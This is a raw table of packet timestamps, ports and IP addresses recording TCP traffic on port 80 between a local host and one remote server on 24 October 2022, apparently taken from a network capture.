Oct 24, 2022 11:00:50.814439058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814459085 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814461946 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814475060 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814479113 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814496040 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814500093 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814517975 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814532995 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814532995 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814539909 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814558983 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814560890 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814570904 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814588070 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814600945 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814610004 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814621925 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814630985 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814640999 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814651966 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814654112 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814677000 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814699888 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814706087 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814723015 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814743042 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814743042 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814748049 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814760923 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814764977 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814780951 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814800978 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814816952 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814832926 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814840078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814862013 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814863920 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.815005064 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.835927010 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836014032 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836019993 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836047888 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836074114 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836096048 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836100101 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836121082 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836127043 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836146116 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836172104 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836174011 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836190939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836215973 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836246014 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836271048 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836308002 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836340904 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836366892 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836393118 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836406946 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836417913 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836443901 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836468935 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836494923 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836496115 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836513996 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836522102 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836549044 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836565971 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836572886 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836599112 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836623907 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836628914 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836649895 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836674929 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836677074 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836709023 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836733103 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836740971 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836770058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836781025 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836796045 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836821079 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836838961 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836844921 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836869955 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836894989 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836920977 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.836926937 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.836945057 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837088108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837116003 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837142944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837161064 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837168932 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837188005 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837202072 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837230921 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837243080 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837265968 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837291956 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837315083 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837318897 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837338924 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837361097 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837363958 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837388039 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837404013 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837414980 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837439060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837460995 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837470055 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837495089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837507010 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837519884 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837544918 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837574959 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837594986 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837651968 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837662935 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837691069 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837717056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837742090 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837743044 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837768078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837793112 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837819099 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837833881 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837842941 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837856054 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.837862015 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837881088 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837898970 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837917089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.837973118 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838000059 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838016987 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838047028 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838078976 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838083029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838123083 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838133097 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838160992 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838201046 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838233948 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838239908 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838294029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838298082 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838335991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838377953 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838418007 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838427067 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838458061 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838489056 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838499069 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838546991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838567972 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838586092 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838625908 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838639021 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838676929 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838721991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838759899 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838768005 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838798046 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838843107 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838862896 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838896036 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.838912964 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838952065 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.838999987 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.839020014 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.839036942 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.839066982 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.839081049 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.839092016 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.839118004 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.839142084 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.839162111 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.839168072 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.839185953 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.839194059 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.839219093 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.839246035 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.839271069 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.839294910 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.857331991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857372999 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857403994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857438087 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857470036 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857470036 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.857498884 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857512951 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.857539892 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.857773066 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857805014 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857835054 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857851982 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.857866049 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857896090 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857909918 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.857925892 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857955933 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857985020 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.857995987 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.858016014 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.858032942 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.858043909 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.858073950 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.858104944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.858117104 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.858140945 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.859513998 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859549046 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859580040 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859612942 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859617949 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.859642029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859669924 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.859673977 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859703064 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859716892 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.859734058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859765053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859796047 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859817982 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.859827042 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859843016 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.859857082 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859888077 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859901905 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.859919071 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859947920 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.859961033 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.859992027 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860023975 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860054016 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860070944 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860084057 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860095978 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860116005 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860146999 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860178947 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860193014 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860208988 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860236883 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860260010 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860281944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860310078 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860311031 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860323906 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860341072 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860371113 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860403061 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860411882 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860433102 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860460997 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860474110 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860490084 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860501051 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860518932 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860548019 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860578060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860589981 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860609055 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860621929 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860639095 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860670090 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860678911 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860698938 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860728025 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860758066 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860765934 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860786915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860797882 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860816002 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860846996 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860876083 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860889912 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860905886 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860919952 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.860934973 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860965014 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.860992908 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861007929 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861022949 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861033916 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861051083 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861080885 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861110926 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861119986 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861140013 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861170053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861183882 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861198902 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861206055 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861228943 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861257076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861272097 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861287117 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861315966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861345053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861356974 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861373901 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861390114 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861402988 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861433029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861448050 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861462116 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861491919 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861500978 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861521006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861551046 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861581087 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861599922 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861610889 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861622095 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861639977 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861669064 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861696959 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861712933 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861726046 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861737013 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861753941 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861782074 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861794949 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861812115 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861840010 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861851931 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.861869097 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861901999 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.861929893 CEST	80	49719	131.188.40.189	192.168.2.3
